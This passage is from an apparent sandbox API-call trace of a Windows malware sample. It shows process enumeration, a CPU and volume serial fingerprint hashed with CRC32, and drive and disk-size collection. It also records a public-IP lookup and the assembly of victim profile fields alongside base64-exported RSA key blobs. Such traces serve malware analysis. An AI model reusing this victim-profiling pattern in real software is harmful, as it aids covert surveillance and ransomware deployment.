th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x348, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0163.173] GetLastError () returned 0xcb [0163.173] Process32NextW (in: hSnapshot=0x2f4, lppe=0x370000 | out: lppe=0x370000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="tubcvd.exe")) returned 1 [0163.173] GetLastError () returned 0xcb [0163.173] Process32NextW (in: hSnapshot=0x2f4, lppe=0x370000 | out: lppe=0x370000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="tubcvd.exe")) returned 0 [0163.174] VirtualFree (lpAddress=0x370000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0163.174] CloseHandle (hObject=0x2f4) returned 1 [0163.174] GetWindowsDirectoryW (in: lpBuffer=0x5a15a8, uSize=0x100 | out: lpBuffer="C:\\Windows") returned 0xa [0163.174] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x5a17a8, nVolumeNameSize=0x100, lpVolumeSerialNumber=0x5a1ba8, lpMaximumComponentLength=0x5a1bb0, lpFileSystemFlags=0x5a1bac, lpFileSystemNameBuffer=0x5a19a8, nFileSystemNameSize=0x100 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x5a1ba8*=0xd2ca4def, lpMaximumComponentLength=0x5a1bb0*=0xff, lpFileSystemFlags=0x5a1bac*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1 [0163.174] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fc44 | out: phkResult=0x19fc44*=0x2f4) returned 0x0 [0163.174] RegQueryValueExW (in: hKey=0x2f4, lpValueName="ProcessorNameString", lpReserved=0x0, lpType=0x0, lpData=0x5a1bb4, lpcbData=0x19fc54*=0x80 | out: lpType=0x0, lpData=0x5a1bb4*=0x49, lpcbData=0x19fc54*=0x54) returned 0x0 [0163.174] RegCloseKey (hKey=0x2f4) returned 0x0 [0163.174] lstrlenW (lpString="Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHz") returned 41 [0163.174] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fc44 | out: phkResult=0x19fc44*=0x2f4) returned 0x0 [0163.174] RegQueryValueExW (in: hKey=0x2f4, lpValueName="Identifier", lpReserved=0x0, lpType=0x0, lpData=0x5a1c06, lpcbData=0x19fc54*=0x80 | out: lpType=0x0, lpData=0x5a1c06*=0x49, lpcbData=0x19fc54*=0x4a) returned 0x0 [0163.174] RegCloseKey (hKey=0x2f4) returned 0x0 [0163.174] wsprintfW (in: param_1=0x59d158, param_2="%d" | out: param_1="-758493713") returned 10 [0163.174] lstrcatW (in: lpString1="-758493713", lpString2="Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3" | out: lpString1="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3") returned="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3" [0163.174] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77460000 [0163.175] GetProcAddress (hModule=0x77460000, lpProcName="RtlComputeCrc32") returned 0x77486b10 [0163.175] lstrlenW (lpString="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3") returned 87 [0163.175] RtlComputeCrc32 (PartialCrc=0x29a, Buffer=0x59d158, Length=0xae) returned 0xdce1bb8b [0163.175] GetDriveTypeW (lpRootPathName="A:\\") returned 0x1 [0163.175] GetDriveTypeW (lpRootPathName="B:\\") returned 0x1 [0163.175] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0163.175] lstrcatW (in: lpString1="", lpString2="C:" | out: lpString1="C:") returned="C:" [0163.175] lstrcatW (in: lpString1="C:", lpString2="FIXED" | out: lpString1="C:FIXED") returned="C:FIXED" [0163.175] lstrcatW (in: lpString1="C:FIXED", lpString2="_" | out: lpString1="C:FIXED_") returned="C:FIXED_" [0163.175] GetDiskFreeSpaceW (in: lpRootPathName="C:\\", lpSectorsPerCluster=0x19fce0, lpBytesPerSector=0x19fcec, lpNumberOfFreeClusters=0x19fcf4, lpTotalNumberOfClusters=0x19fcf0 | out: lpSectorsPerCluster=0x19fce0, lpBytesPerSector=0x19fcec, lpNumberOfFreeClusters=0x19fcf4, lpTotalNumberOfClusters=0x19fcf0) returned 1 [0163.175] lstrlenW (lpString="C:FIXED_") returned 8 [0163.175] wsprintfW (in: param_1=0x59e3c0, param_2="%I64u/" | out: param_1="549227327488/") returned 13 [0163.175] lstrlenW (lpString="C:FIXED_549227327488/") returned 21 [0163.175] wsprintfW (in: param_1=0x59e3da, param_2="%I64u" | out: param_1="17639772160") returned 11 [0163.175] lstrcatW (in: lpString1="C:FIXED_549227327488/17639772160", lpString2="," | out: lpString1="C:FIXED_549227327488/17639772160,") returned="C:FIXED_549227327488/17639772160," [0163.175] GetDriveTypeW (lpRootPathName="D:\\") returned 0x1 [0163.175] GetDriveTypeW (lpRootPathName="E:\\") returned 0x1 [0163.175] GetDriveTypeW (lpRootPathName="F:\\") returned 0x1 [0163.175] GetDriveTypeW (lpRootPathName="G:\\") returned 0x1 [0163.175] GetDriveTypeW (lpRootPathName="H:\\") returned 0x1 [0163.175] GetDriveTypeW (lpRootPathName="I:\\") returned 0x1 [0163.176] GetDriveTypeW (lpRootPathName="J:\\") returned 0x1 [0163.176] GetDriveTypeW (lpRootPathName="K:\\") returned 0x1 [0163.176] GetDriveTypeW (lpRootPathName="L:\\") returned 0x1 [0163.176] GetDriveTypeW (lpRootPathName="M:\\") returned 0x1 [0163.176] GetDriveTypeW (lpRootPathName="N:\\") returned 0x1 [0163.176] GetDriveTypeW (lpRootPathName="O:\\") returned 0x1 [0163.176] GetDriveTypeW (lpRootPathName="P:\\") returned 0x1 [0163.176] GetDriveTypeW (lpRootPathName="Q:\\") returned 0x1 [0163.176] GetDriveTypeW (lpRootPathName="R:\\") returned 0x1 [0163.176] GetDriveTypeW (lpRootPathName="S:\\") returned 0x1 [0163.176] GetDriveTypeW (lpRootPathName="T:\\") returned 0x1 [0163.176] GetDriveTypeW (lpRootPathName="U:\\") returned 0x1 [0163.176] GetDriveTypeW (lpRootPathName="V:\\") returned 0x1 [0163.176] GetDriveTypeW (lpRootPathName="W:\\") returned 0x1 [0163.177] GetDriveTypeW (lpRootPathName="X:\\") returned 0x1 [0163.177] GetDriveTypeW (lpRootPathName="Y:\\") returned 0x1 [0163.177] GetDriveTypeW (lpRootPathName="Z:\\") returned 0x1 [0163.177] GetDriveTypeW (lpRootPathName="") returned 0x1 [0163.177] lstrlenW (lpString="C:FIXED_549227327488/17639772160,") returned 33 [0163.177] InternetOpenW (lpszAgent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36", dwAccessType=0x1, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0163.208] VirtualAlloc (lpAddress=0x0, dwSize=0x2801, flAllocationType=0x3000, flProtect=0x40) returned 0x3d0000 [0163.208] lstrlenW (lpString="") returned 0 [0163.208] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0163.208] InternetOpenW (lpszAgent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36", dwAccessType=0x1, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0163.208] InternetConnectW (hInternet=0xcc0004, lpszServerName="ipv4bot.whatismyipaddress.com", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0163.208] VirtualAlloc (lpAddress=0x0, dwSize=0x2800, flAllocationType=0x3000, flProtect=0x40) returned 0x3e0000 [0163.209] wsprintfW (in: param_1=0x3e0000, param_2="%s" | out: param_1="/") returned 1 [0163.209] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/", lpszVersion="HTTP/1.1", lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x8404f700, dwContext=0x0) returned 0xcc000c [0163.209] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0163.793] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3d0000, dwNumberOfBytesToRead=0x27fe, lpdwNumberOfBytesRead=0x19fc0c | out: lpBuffer=0x3d0000*, lpdwNumberOfBytesRead=0x19fc0c*=0xe) returned 1 [0163.794] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3d0000, dwNumberOfBytesToRead=0x27fe, lpdwNumberOfBytesRead=0x19fc0c | out: lpBuffer=0x3d0000*, lpdwNumberOfBytesRead=0x19fc0c*=0x0) returned 1 [0163.794] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0163.795] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0163.795] VirtualFree (lpAddress=0x3e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0163.795] lstrlenA (lpString="87.142.158.201") returned 14 [0163.795] wsprintfW (in: param_1=0x59a9f8, param_2="%S" | out: param_1="87.142.158.201") returned 14 [0163.795] VirtualFree (lpAddress=0x3d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0163.795] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0163.795] lstrlenW (lpString="CIiHmnxMn6Ps") returned 12 [0163.795] lstrlenW (lpString="pc_user") returned 7 [0163.795] lstrlenW (lpString="LHNIWSJ") returned 7 [0163.795] lstrlenW (lpString="pc_name") returned 7 [0163.795] lstrlenW (lpString="WORKGROUP") returned 9 [0163.795] lstrlenW (lpString="pc_group") returned 8 [0163.795] lstrlenW (lpString="en-US") returned 5 [0163.795] lstrlenW (lpString="pc_lang") returned 7 [0163.795] lstrlenW (lpString="0") returned 1 [0163.796] lstrlenW (lpString="pc_keyb") returned 7 [0163.796] lstrlenW (lpString="Windows 10 Pro") returned 14 [0163.796] lstrlenW (lpString="os_major") returned 8 [0163.796] lstrlenW (lpString="x64") returned 3 [0163.796] lstrlenW (lpString="os_bit") returned 6 [0163.796] lstrlenW (lpString="C:FIXED_549227327488/17639772160") returned 32 [0163.796] lstrlenW (lpString="hdd") returned 3 [0163.796] lstrlenW (lpString="ip") returned 2 [0163.796] lstrlenW (lpString="87.142.158.201") returned 14 [0163.796] VirtualAlloc (lpAddress=0x0, dwSize=0x17280, flAllocationType=0x3000, flProtect=0x40) returned 0x3d0000 [0163.796] CryptBinaryToStringA (in: pbBinary=0x260000, cbBinary=0x114, dwFlags=0x40000001, pszString=0x3dbbb0, pcchString=0x19fd18 | out: pszString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G", pcchString=0x19fd18) returned 1 [0163.796] CryptBinaryToStringA (in: pbBinary=0x350000, cbBinary=0x494, dwFlags=0x40000001, pszString=0x3dc452, pcchString=0x19fd18 | out: pszString="BwIAAACkAABSU0EyAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G/3B2/GjUAuT0PWeQDuXDS+lbhjxOFhLL3E6v+Wi1JBwWBkPupSGEz/Oi+yOoC+vAKjdUOAvExCNFoXGOHoAh762ny8/pGLKJ4KK7yb2cW/2MUEZYOu6vajsaqcLL33TWBTmqAr+QueB6thhjWxxrAvIzRGtoXD/V1Es9Q1302OCd/5aCoRe6Il84wX9N1xEydai5bmbi9Cw/MLcSYoZmpq3MLIXp6d/cqVnQrzIuWmX3/ZkR7V0WUshhD0/YH1t6Ufsb6FWwV+NQs2rbUrzJFS7xEBXovjyWG7V+cMqmzNm7U2pd+BnJcY0SjuaCjDV16Cp0tl8LIcAwKO3EXQhJ4nNAwBNy1qvvDDc55DiLetVcVM5owUFf4h/fUJBev0/9GbTKxJioUaP570qs4NqjRfc9WBtaW6pm7t0lVqvJL7nkOKL8CeDhAygTUsHZw6k+AaY7A+G8Q2AkKQClNA+54FYb1Q6XzHdIoQtO29igQTMtnPErQid9ZFMz2bqGrlN6kbC6fMAqlgofNtGGSbQJWo6DwWYReChgiTsVhW+6Ixrc7DUjxj1bwfJlmUTc1XbCEK6IvUqwsvchdyfKsA9hr1nzEjpG6PucCAFnQyjxuwVYqglgdZMDWdbHuEX42GPDYlvQSQXzZmxOLnxDCF+MEVJJTJxSPC3Mx22JKSKCAjdEJ+mSydUe/tgTKwsA75xFRjspK26z0+mzPu19NwugyCdmB+uDXlagKT4Ovv5LSjQuyUYCJEN3lR6usRP2ZlGjN+3K4N+Ar2dMQDrUmgNYhga+dwPy36LU8s3+pSgPLls7KXpbPVbAzWmVh+h90BVSRMrKpojslWAIzBw7DN59ZsHj9XKNv+bbPAsMM05rbZj2OpMXqm1oOgHduQCsWh2f7Vqo2rfe8w7gzVXb42l30ujcfyI7bgA4dCX97ZMzKrfH4cUjp7yMLk+sBrFQlXLmM8uyGsBHmW4vAT7IbXSGIo31veGm0pFmQqhrwETXbBFvHEPfMHhkRDdE9drVi5K+AJcSccJW6kkfa1qs3S+C37ylhbShe6aqD4h/4Js2wVM7MnINx3hQl1TAXe2pfTcmBV87y9OGcAqx6AMNTbSxiKMpKjgMURGYt2hUlXGnhslhjEI2JToZ7nZQ4nbsXRPUZID0dpPaSWbfmHG64B4FlYO9kTfbMASn3y4WFDNnZTo=", pcchString=0x19fd18) returned 1 [0163.796] lstrlenA (lpString="BwIAAACkAABSU0EyAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G/3B2/GjUAuT0PWeQDuXDS+lbhjxOFhLL3E6v+Wi1JBwWBkPupSGEz/Oi+yOoC+vAKjdUOAvExCNFoXGOHoAh762ny8/pGLKJ4KK7yb2cW/2MUEZYOu6vajsaqcLL33TWBTmqAr+QueB6thhjWxxrAvIzRGtoXD/V1Es9Q1302OCd/5aCoRe6Il84wX9N1xEydai5bmbi9Cw/MLcSYoZmpq3MLIXp6d/cqVnQrzIuWmX3/ZkR7V0WUshhD0/YH1t6Ufsb6FWwV+NQs2rbUrzJFS7xEBXovjyWG7V+cMqmzNm7U2pd+BnJcY0SjuaCjDV16Cp0tl8LIcAwKO3EXQhJ4nNAwBNy1qvvDDc55DiLetVcVM5owUFf4h/fUJBev0/9GbTKxJioUaP570qs4NqjRfc9WBtaW6pm7t0lVqvJL7nkOKL8CeDhAygTUsHZw6k+AaY7A+G8Q2AkKQClNA+54FYb1Q6XzHdIoQtO29igQTMtnPErQid9ZFMz2bqGrlN6kbC6fMAqlgofNtGGSbQJWo6DwWYReChgiTsVhW+6Ixrc7DUjxj1bwfJlmUTc1XbCEK6IvUqwsvchdyfKsA9hr1nzEjpG6PucCAFnQyjxuwVYqglgdZMDWdbHuEX42GPDYlvQSQXzZmxOLnxDCF+MEVJJTJxSPC3Mx22JKSKCAjdEJ+mSydUe/tgTKwsA75xFRjspK26z0+mzPu19NwugyCdmB+uDXlagKT4Ovv5LSjQuyUYCJEN3lR6usRP2ZlGjN+3K4N+Ar2dMQDrUmgNYhga+dwPy36LU8s3+pSgPLls7KXpbPVbAzWmVh+h90BVSRMrKpojslWAIzBw7DN59ZsHj9XKNv+bbPAsMM05rbZj2OpMXqm1oOgHduQCsWh2f7Vqo2rfe8w7gzVXb42l30ujcfyI7bgA4dCX97ZMzKrfH4cUjp7yMLk+sBrFQlXLmM8uyGsBHmW4vAT7IbXSGIo31veGm0pFmQqhrwETXbBFvHEPfMHhkRDdE9drVi5K+AJcSccJW6kkfa1qs3S+C37ylhbShe6aqD4h/4Js2wVM7MnINx3hQl1TAXe2pfTcmBV87y9OGcAqx6AMNTbSxiKMpKjgMURGYt2hUlXGnhslhjEI2JToZ7nZQ4nbsXRPUZID0dpPaSWbfmHG64B4FlYO9kTfbMASn3y4WFDNnZTo=") returned 1564 [0163.796] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.796] VirtualAlloc (lpAddress=0x0, dwSize=0x7ce, flAllocationType=0x3000, flProtect=0x40) returned 0x8a0000 [0163.796] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.796] lstrlenA (lpString="BwIAAACkAABSU0EyAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G/3B2/GjUAuT0PWeQDuXDS+lbhjxOFhLL3E6v+Wi1JBwWBkPupSGEz/Oi+yOoC+vAKjdUOAvExCNFoXGOHoAh762ny8/pGLKJ4KK7yb2cW/2MUEZYOu6vajsaqcLL33TWBTmqAr+QueB6thhjWxxrAvIzRGtoXD/V1Es9Q1302OCd/5aCoRe6Il84wX9N1xEydai5bmbi9Cw/MLcSYoZmpq3MLIXp6d/cqVnQrzIuWmX3/ZkR7V0WUshhD0/YH1t6Ufsb6FWwV+NQs2rbUrzJFS7xEBXovjyWG7V+cMqmzNm7U2pd+BnJcY0SjuaCjDV16Cp0tl8LIcAwKO3EXQhJ4nNAwBNy1qvvDDc55DiLetVcVM5owUFf4h/fUJBev0/9GbTKxJioUaP570qs4NqjRfc9WBtaW6pm7t0lVqvJL7nkOKL8CeDhAygTUsHZw6k+AaY7A+G8Q2AkKQClNA+54FYb1Q6XzHdIoQtO29igQTMtnPErQid9ZFMz2bqGrlN6kbC6fMAqlgofNtGGSbQJWo6DwWYReChgiTsVhW+6Ixrc7DUjxj1bwfJlmUTc1XbCEK6IvUqwsvchdyfKsA9hr1nzEjpG6PucCAFnQyjxuwVYqglgdZMDWdbHuEX42GPDYlvQSQXzZmxOLnxDCF+MEVJJTJxSPC3Mx22JKSKCAjdEJ+mSydUe/tgTKwsA75xFRjspK26z0+mzPu19NwugyCdmB+uDXlagKT4Ovv5LSjQuyUYCJEN3lR6usRP2ZlGjN+3K4N+Ar2dMQDrUmgNYhga+dwPy36LU8s3+pSgPLls7KXpbPVbAzWmVh+h90BVSRMrKpojslWAIzBw7DN59ZsHj9XKNv+bbPAsMM05rbZj2OpMXqm1oOgHduQCsWh2f7Vqo2rfe8w7gzVXb42l30ujcfyI7bgA4dCX97ZMzKrfH4cUjp7yMLk+sBrFQlXLmM8uyGsBHmW4vAT7IbXSGIo31veGm0pFmQqhrwETXbBFvHEPfMHhkRDdE9drVi5K+AJcSccJW6kkfa1qs3S+C37ylhbShe6aqD4h/4Js2wVM7MnINx3hQl1TAXe2pfTcmBV87y9OGcAqx6AMNTbSxiKMpKjgMURGYt2hUlXGnhslhjEI2JToZ7nZQ4nbsXRPUZID0dpPaSWbfmHG64B4FlYO9kTfbMASn3y4WFDNnZTo=") returned 1564 [0163.796] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.796] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.796] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.796] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.796] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.797] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.797] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.797] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.797] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.797] lstrlenA 